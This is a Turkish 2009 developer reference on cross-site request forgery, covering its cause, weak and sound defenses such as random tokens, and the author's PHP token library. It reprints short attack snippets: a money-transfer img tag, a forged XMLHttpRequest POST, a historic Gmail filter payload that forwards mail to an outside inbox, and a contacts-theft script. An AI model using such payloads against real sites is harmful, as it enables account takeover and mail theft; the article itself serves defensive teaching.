CSRF Mesut Timur, <mesut at h-labs dot org>, webguvenligi.org, 19/02/2009 CSRF, Cross-Site Request Forgery, web uygulamalarındaki çeşitli fonksiyonalitelerin mağdur kullanıcının bilgisi dahilinde olmadan onun hak ve yetkileri ile saldırganlarca kullanılmasıdır. Bu döküman, geliştiriciler için bir CSRF referansı olma amacı gütmekle beraber çok geç kaleme alınmıştır. Problem Nerede Başlıyor? Problemin başlangıç noktası HTTP'nin stateless (durum bilgisinden yoksun) bir protokol olmasıdır. Ardı ardına yapılan HTTP istekleri ve cevapları sıra numarası taşımadıkları için, ilgili kişiler dışında başkaları tarafından da oluşturulabilmesi sebebiyle, kullanıcı ile web sunucu arasında başlamış iletişim, saldırganların kurban kullanıcılara yaptırdıkları isteklerle devam ettirilebiliyor. Paket içerisinde sıra numarası, token, anahtar gibi bir mekanizma olması halinde; bu bilgiler saldırganlarca ele geçirilemediği durumlarda, kurban adına istek yapılması mümkün olamayacaktır. Bilgi güvenliğinde bu konu "Confused Deputy" problemi olarak sınıflandırılmıştır [1] Konunun Önemi Bir saldırganın CSRF ile verebileceği zarar, ilgili zafiyetin bulunduğu web uygulamasının yetenekleri ile doğru orantılıdır. Bir elektronik posta hizmeti veren web servisinde ilgili zafiyet tespit edilirse saldırganın yapabileceği mağdur kullanıcının hesabıyla mail atmak olacaktır. 0x01 : Zafiyetin İncelenmesi Senaryo Örneğin bir internet bankacılığı uygulamasında CSRF zafiyeti mevcut olsun. Mağdur kullanıcı, favori internet tarayıcısının bir tab'ında internet bankacılığı uygulamasını kullanırken, diğer tab'ında futbol maçları ile ilgili yorumların yapıldığı bir forumu takip etmektedir. Forumun yöneticisi, giriş sayfasına bir resim koymuştur, fakat resim bir sebepten dolayı görüntülenememektedir. Bunun üzerine sayfanın kaynak kodlarından, ilgili resmi ifade eden HTML kodlarına bakan mağdur kullanıcı, birden dehşete düşer. <img src="http://bank.example/withdraw?account=1&amount=1000000&for=forumadmin"> Tarayıcının, bu resmi yüklemek için src etiketinde verilen adrese istek yapmasından başlayarak oluşan süreci inceleyelim. 1. İnternet bankacılığı uygulamasına, Mağdur kullanıcının hesabından belli bir paranın saldırganın hesabına geçirilmesi şeklinde istek yapılır. 2. Eğer uygulamaya o an giriş yapılmış durumda ise, ya da uygulamanın "Beni Hatırla" gibi bir seçeneği işaretlenmişse, tarayıcı bu isteğin ardına, gerekli oturum (session) ya da çerez (cookie) bilgilerini ekleyecektir. 3. İstek internet bankacılığı uygulamasına gelecektir. Mantıklı bir uygulamanın burada yapması gereken istekle beraber gelen oturum ya da çerez bilgilerinin geçerli olup olmadığının kontrolü ardından isteğin yürütülmesidir. 4. Bir üst adımda problem olmadığı durumda, ilgili istek gerçekleşecek ve para transferi başarı ile sonuçlanacaktır. Yasal bir şekilde kullanıcı tarafından yapılmış istek sol tarafta gösterilirken, bir CSRF saldırısının diyagramı sağdaki gibidir.
Problemin Analizi ve Çözüm Fikirleri Görüldüğü üzere kurban kullanıcının bilgisi dahilinde olmadan, onun yerine bir internet uygulaması saldırgan lehine kullanılmıştır. Burada problem kimden kaynaklanmaktadır? 1. Mağdur Kullanıcı : İlgili kişinin, her girdiği web sayfasının HTML kodlarını inceleyip ondan sonra yüklemek gibi bir durumu olmadığından kurban kişinin yapabileceği pek bir şey bulunmamaktadır. "Beni Hatırla" opsiyonunu kullanmayarak ve kritik bir uygulamada gezerken, internetin geri kalanı ile ilgilenmeyerek bir miktar atak yüzeyini daraltabilir fakat bu önlemler pratik olarak çok uygulanabilir değildir. 2. Kurban Uygulama : İlgili uygulama, örneğimizdeki gibi oturum ve çerez bilgilerine güvenip çalışıyor ise bu zafiyete karşı korunmasız demektir. Saldırgan örnekte de gösterildiği gibi çok basit şekilde uygulamaya, mağdur kişiden geliyormuşcasına istekler gönderebilirler. Zafiyet esas itibariyle kurban uygulamadan kaynaklandığı için yapılması gereken ilgili uygulamanın mağdur kişinin kendi bilgisi dışında yapılan istekleri kabul etmemektir. Peki gelen isteğin, kişinin kendisinin mi yaptığı, yoksa başka bir saldırgan tarafından mı tetiklendiği ne şekilde anlaşılabilir? Bu noktada yapılması gereken ile ilgili ipucu ilk bölümde verilmiştir. Temel sorun aslında HTTP'nin stateless bir protokol olması, ve bu durumun geliştirici tarafından giderilmesi gerekliliğidir. Yani tıpkı TCP/IP'de olduğu gibi giden gelen paketlere numaralar (sıra) verilmeli ve bu sayılar üçüncü şahıslar tarafından tahmin edilememelidir. [3] 0x02 : Yetersiz Çözümler Bu bölümde problem için çözüm olarak ilk akla gelen, fakat yetersiz olan çözüm yollarından bahsedilecektir. Bunlar tek başlarına çözüm olarak işe yaramazken, 0x03 numaralı başlıktaki çözüm önerilerine eklenmeleri durumunda derinlemesine defans önlemi olarak işlev göreceklerdir. Referer'i Kontrol Etmek İstek, web uygulamasına ulaştıktan sonra HTTP başlık bilgilerinden "REFERER" bilgisine bakılarak nereden geldiği tespit edilebilir ve isteğin kullanıcıdan mı, yoksa saldırı yapmaya çalışan bir web uygulamasından mı geldiği anlaşılabilir. Fakat "REFERER" isimli HTTP başlık bilgisi, değiştirilebilir olduğu için bu bilgiye güvenilerek doğrulama yapılması büyük bir hata olacaktır. Ayrıca REFERER başlığını kimi vekil sunucular kesebilmektedir.
Kritik İşlemleri POST ile Yapmak 0x01 no'lu başlığımızda incelenen atak GET dizisi içerisinde işlem tipi ve boyutları gönderilerek gerçekleştiriliyordu. Bundan dolayı bir image etiketinin kaynak bilgisine girilebilmiş, ve resmin görüntülenmesiyle atak gerçekleşmişti. Kritik işlemler ile ilgili bilgilerin taşınması sırasında POST kullanılırsa bu tip zafiyetlerden korunulabilirmiş gibi gelebilir, fakat çok basitçe bir form oluşturup, ilgili kullanıcı o sayfayı görüntüleyince ilgili form kaydettirilerek atak gerçekleştirilmesi mümkündür. Haricinde XMLHTTPRequest nesnesi ile de yapılabilir. Basitçe şu şekilde yapılır: <script> var post_data = 'name=value'; var xmlhttp=new XMLHttpRequest(); xmlhttp.open("post", 'http://url/path/file.ext', true); xmlhttp.onreadystatechange = function () if (xmlhttp.readystate == 4) alert(xmlhttp.responsetext); ; xmlhttp.send(post_data); 0x03 : Zafiyetin Çözümü Zafiyetin çözümü ile ilgili fikirlere bir üst başlıkta değinilmişti. Bu bölümde reel çözüm önerileri ve zafiyetin platformlardaki durumu incelenecektir. Platformların Durumu ASP.net uygulamaları, ViewState mekanizması aktif durumdayken CSRF zafiyetine karşı korumalı durumdadırlar. Lakin bu mekanizma beraberinde bazı problemleri ve eksikleri bünyesinde barındırmaktadır.[2] Her ASP.net sayfasında bu mekanizma aktif olmayabilir, ya da yanlışlıkla kapatmış olabilirsiniz. Sadece POST dizisi üzerinde koruma sağlar. GET dizisindeki parametreler, hala CSRF saldırılarına açıktır. ViewState her HTTP isteği için pakete eklediği veriler sebebiyle paket boyutunu arttıracak ve iletişimin hızını düşürecektir. [3]ViewState, sonuç itibariyle istemci tarafından kontrol edilebileceği için her türlü manipülasyona açık durumdadır. Bundan dolayı ViewState MAC etkin durumda olmalıdır. Bunun dışında ViewState'lerin sadece belli bir kullanıcıya ait olduğunda geçerli olması için, OnInit() ya da Page_Init() metotlarına aşağıdaki kod eklenmelidir. ViewStateUserKey = Session.SessionID; Ruby on Rails haricinde bu zafiyet ile ilgili olarak koruma ya da API sağlayan başka bir dil/framework bulunmamaktadır.[4] Temel Çözüm Zafiyetin çözülmesi için temek fikir şu şekildedir : 1. Her yapılan isteğin sonucunda kullanıcıya bir adet rastgele değer gönderilmelidir.
2. Kullanıcı gönderilen sayfa üzerinden tekrar istek yapınca, bu isteğe daha önce kullanıcıya gönderilmiş rastgele değer eklenmelidir. 3. Kullanıcıdan gelen değer ile, kullanıcıya gönderilmiş olan değer karşılaştırılmalıdır. Eğer birbirini tutuyorsa, ilgili HTTP isteği web uygulaması tarafından gönderilmiş sayfa üzerinden yapılmış, herhangi bir 3. şahıs tarafından yapılmamış demektir. Bu çözüm fikrinin uygulanması noktasında önem teşkil eden unsur rastgele değerin, yeterli entropiye sahip bir havuzdan seçilmesi sonucu gerçekten rastgele olmasıdır. Uygulama Fikirleri 1.Oturum Bilgilerine Rastgele Token Eklenmesi Basitçe, Temel Çözüm'de ifade edilen modelin uygulanması şeklindedir. Eklenecek Token, gizli bir form parametresi olarak, ya da istek gerçekleştiğinde GET veya POST dizisine parametre olarak eklenecek şekilde yazılabilir. //Token oluşturuluyor $token = GenerateToken($_COOKIE['cookie']); <form method="post" action="withdraw.php"> <input type="text" name="account"> <input type="text" name="amount"> <input type="hidden" name="token" value="<?=$token;"> <input type="submit" name="submit" value="submit"> </form> //Token kontrol ediliyor if(isset($_post['token'])) if (!CheckToken($_POST['token'])) die ("Tekrar giriş yapınız"); ProcessWithdraw(); Kodda görüldüğü üzere, GenerateToken ve CheckToken fonksiyonları ile basitçe token üretilip, kontrol edilmektedir. Bu fonksiyonların ne şekilde implemente edildiği de önemlidir. Fonksiyonların sahip olması gereken özellikler: 1. Ürettiği tokenlerin kaba kuvvet saldırılarına karşı ayakta kalabilmesi için yeterli entropiye sahip olması. 2. CheckToken() fonksiyonu ile birlikte varolan tokenin geçersiz hale gelmesi ve bir kullanımlık olmasının garantisi. 3. Algoritma bilinse dahi, tokenlerin tahmin edilemeyecek yapıda olmaları. 4. Kullanıcı iki farklı tarayıcı ile uygulamayı aynı anda gezebiliyorsa, bu durumun göz önünde bulundurulup tokenlerin karıştırılmaması. 2.Çift Oturum ya da Çift Çerez Kullanımı Oturum ya da çerez bilgileri Same-Origin Policy gereğince, sadece aynı alan adı tarafından yazılır ve okunabilir. Bundan dolayı kurban.com 'un yazdığı oturum ya da çerez bilgisini, saldırgan.com okuyamaz.[5] Bundan dolayı, CSRF koruması için çerez tabanlı bir koruma kullanılabilir. Rastgele değer olarak, oturum bilgisi okunur ve girilir. Sunucu tarafında ise isteğe eklenmiş oturum bilgisi ile, HTTP başlık bilgisi içerisindeki oturum bilgisi karşılaştırılır, eğer bilgiler tutarsızlık gösteriyorsa istek reddedilir. Bu örnek için tekrar implementasyon vermek istemiyorum, üstteki implementasyondaki token 'lere, cookie atanıp bunun kontrolunun yapılması yeterlidir. 3.CAPTCHA Kullanımı
CAPTCHA ("Completely Automated Public Turing Test To Tell Computers and Humans Apart")'lar, yapılan isteğin insan ya da otomatize bir kod tarafından yapıldığını anlamak için kullanılabilir. Burada da uygulama önemli işlemler öncesinde bir CAPTCHA ile işlemin saldırgan bir web sitesi tarafından değil de bir insan tarafından yapıldığını doğrulayabilir. 4.Kanal-Dışı Çözümler Kritik işlemler öncesi, özellikle bankacılık uygulamalarında görülen telefon ya da sms ile onaylama isteği sayesinde CSRF engellenmiş olur. Lakin bu uğraştırıcı bir çözüm olduğundan, çok kritik olmayan uygulamalar dışında kullanılması tavsiye edilmeyen bir metotdur. 0x04 : Yaygınlık Durumu Bir çok popüler web uygulaması önlemlerini çoktan almış durumda. Bir uygulamadaki CSRF zafiyetleri genellikle uygulama geliştiricilerinin güvenlik farkındalıklarının durumları konusunda belirleyici bilgi verir.daha çok ev yapımı ya da görevi kritik olmayan uygulamalarda görülmektedir. Geçtiğimiz yıllarda çok önemli web uygulamalarında CSRF zafiyetleri tespit edilmiştir. Bir kaç örnek üzerinden geçeceğiz. 1.GMail E-mail Hijack Technique, Eylül 2007 GMail e-posta servisinin filtre adında bir fonksiyonalitesi mevcut. Kısaca onceden belirlediğiniz belli filtrelere uyan e-postaları başka hesaplara yönlendirebiliyorsunuz. Filtre oluşturulması aşamasında bir CSRF zafiyeti tespit edildi ve tüm e-postaların dahil olduğu bir filtre ile kurban kullanıcıya gelen tüm e-postalarının size iletilmesini sağlayabiliyordunuz. Yani sunucuya filtre oluşturma işlemi ulaştığında yapılması gereken, öncelikli olarak bu isteğin korsan şekilde yapılmadığından emin olmak olmalıydı. Kurban sitede çalışacak olan kod basitçe şu şekilde olmalıydı [6] <script> var post_data = 'v=prf&cf2_emc=true&cf2_email=evilinbox@mailinator.com&cf1_from& cf1_to &cf1_subj&cf1_has&cf1_hasnot&cf1_attach=true&tfi&s=z&irf=on&nvp_bu_cftb=creat e Filter'; var xmlhttp=new XMLHttpRequest(); xmlhttp.multipart = true; xmlhttp.open("post", 'https://mail.google.com/mail/h/ewt1jmuj4ddv/', true); xmlhttp.onreadystatechange = function () if (xmlhttp.readystate == 4) alert('sorry'); ; xmlhttp.send(post_data); 2.GMail Kontakt Bilgilerinin CSRF ile Çalınması, Ocak 2007 Google alan adı üzerindeki bir URL'den, tüm GMail iletişim bilgilerini almak mümkündü. İlgili URL'e korsan bir istek gönderilirse, dönen sayfadan iletişim bilgilerinin ayıklanması gayet kolaydı.[7] <script type="text/javascript">
function google(data) var emails, i; for (i = 0; i <data.body.contacts.length; i++) mails += "<li>" + data.body.contacts[i].email + ""; document.write("<ol>" + emails + "</ol>"); <script type="text/javascript" src="data/contacts?out=js&show=all&psort=affinity&callback=google&max=99999"> Bu örnekler dışında bir çok popüler web uygulamasında, yakın geçmişte CSRF zafiyetleri tespit edilmiştir.[8] 0x05 : anticsurf CSRF zafiyetinin çözümü için yapılması gereken "Oturum Bilgilerine Rastgele Token Eklenmesi" başlığında incelenmiştir. Bu noktada yapılması gereken ek işlemlerden yukarıda bahsetmiştik. PHP dilinde ilgili işlemleri garanti eden ufak bir kütüphane hazırladım. İlgili kod parçasındaki "token" değişkenine, kütüphane yardımıyla şu şekilde "unique" değer atanabilir.kütüphanenin proje sayfasına referanslardan ulaşılabilir.[9] include("securetoken.php"); $st=new SecureToken(); $sid=$_session['sid']; $token = $st >GetToken($sid); include("securetoken.php"); $st=new SecureToken(); $sid=$_session['sid']; if($st >CheckToken($_POST['token'],$sid )) Go();//islemler devam eder else die ("Tekrar giriş yapınız"); 0x06 : Referanslar 1. http://en.wikipedia.org/wiki/confused_deputy_problem 2. https://www.owasp.org/index.php/.net_csrf_guard 3. http://keepitlocked.net/archive/2008/05/29/viewstateuserkey-doesn-t-prevent-cross -site-request-forgery.aspx 4. http://spreadsheets.google.com/pub?key=pwqxgsu_wnm-gkspgogyowq 5. http://en.wikipedia.org/wiki/same_origin_policy 6. http://www.gnucitizen.org/blog/google-gmail-e-mail-hijack-technique/ 7. http://ajaxian.com/archives/gmail-csrf-security-flaw 8. http://www.freedom-to-tinker.com/sites/default/files/csrf.pdf 9. http://www.webguvenligi.org/projeler/anticsurf/